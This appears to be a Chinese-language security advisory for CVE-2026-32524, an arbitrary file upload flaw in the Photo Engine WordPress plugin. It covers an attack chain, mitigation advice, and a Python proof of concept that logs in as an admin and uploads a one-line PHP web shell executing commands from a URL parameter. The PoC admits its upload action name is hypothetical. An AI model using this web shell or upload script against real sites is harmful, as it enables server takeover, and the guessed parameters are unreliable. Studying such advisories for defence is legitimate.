IPBUF安全漏洞报告
English
CVE-2026-32524 CVSS 9.1 严重

CVE-2026-32524: Photo Engine插件任意文件上传漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-32524
漏洞类型
任意文件上传
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Jordy Meow Photo Engine

相关标签

任意文件上传远程代码执行WordPressPhoto EngineWebShell

漏洞概述

Jordy Meow开发的WordPress插件Photo Engine(wplr-sync)存在严重的任意文件上传漏洞。该漏洞源于程序未能正确限制上传文件的类型,允许经过身份验证的高权限用户上传危险文件。攻击者可利用此漏洞向服务器上传Web Shell,进而在目标系统上执行任意代码,完全控制受影响的服务器。受影响版本包括6.4.9及以下的所有版本。

技术细节

该漏洞位于Photo Engine插件的wplr-sync组件文件处理逻辑中。在处理用户提交的图片或同步文件时,后端代码未对文件的MIME类型、文件扩展名以及文件内容中的魔数进行严格的安全校验。尽管CVSS向量显示权限要求为高(PR:H),意味着攻击者通常需要拥有WordPress管理员或具有上传权限的高级账户,但一旦获取权限,利用过程十分简单。攻击者构造包含恶意后端代码(如PHP Web Shell)的文件,将其伪装或直接通过受影响的API接口上传至服务器的Web可写目录。由于缺乏有效的过滤机制,该恶意文件被成功保留。攻击者随后通过HTTP请求直接访问该文件路径,触发服务器端解析引擎执行恶意代码,从而获取服务器权限,进一步可导致数据泄露、篡改或勒索。

攻击链分析

STEP 1
1. 获取权限
攻击者通过撞库、钓鱼或其他手段获取WordPress网站的高权限账户(如管理员)。
STEP 2
2. 构造恶意文件
攻击者编写包含PHP后门代码的Web Shell文件,准备用于上传。
STEP 3
3. 发送上传请求
攻击者利用高权限账户登录后台,向Photo Engine插件的上传接口发送POST请求,绕过文件类型检查,上传恶意文件。
STEP 4
4. 执行恶意代码
攻击者通过浏览器访问已上传的Web Shell文件路径,传入系统命令参数,使服务器执行命令并返回结果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target.com/wp-admin/admin-ajax.php" login_url = "http://target.com/wp-login.php" # Attacker credentials (High privileges required) username = "admin" password = "password" # PHP Web Shell payload php_shell = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>" # Initialize session session = requests.Session() # Step 1: Authenticate to the WordPress backend def authenticate(): login_data = { 'log': username, 'pwd': password, 'redirect_to': '', 'testcookie': '1' } try: response = session.post(login_url, data=login_data) if response.status_code == 200: print("[+] Login successful.") return True else: print("[-] Login failed.") return False except Exception as e: print(f"[-] Error during login: {e}") return False # Step 2: Exploit File Upload Vulnerability def upload_shell(): # The parameter name 'file' and action 'wplr_upload' are hypothetical # based on the plugin context (wplr-sync). files = { 'file': ('exploit.php', php_shell, 'application/x-php') } data = { 'action': 'wplr_sync_upload' # Example action name } try: response = session.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Upload request sent.") # Check for success indicators or parse response for path print(f"[+] Response: {response.text[:200]}") print("[+] Try accessing the shell at /wp-content/uploads/exploit.php?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error during upload: {e}") if __name__ == "__main__": if authenticate(): upload_shell()

影响范围

Photo Engine <= 6.4.9

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Photo Engine插件以阻断攻击路径。同时,应在服务器配置层面(如Nginx的location块或Apache的.htaccess文件)禁止解析uploads目录下的PHP文件,或仅允许图片文件类型访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表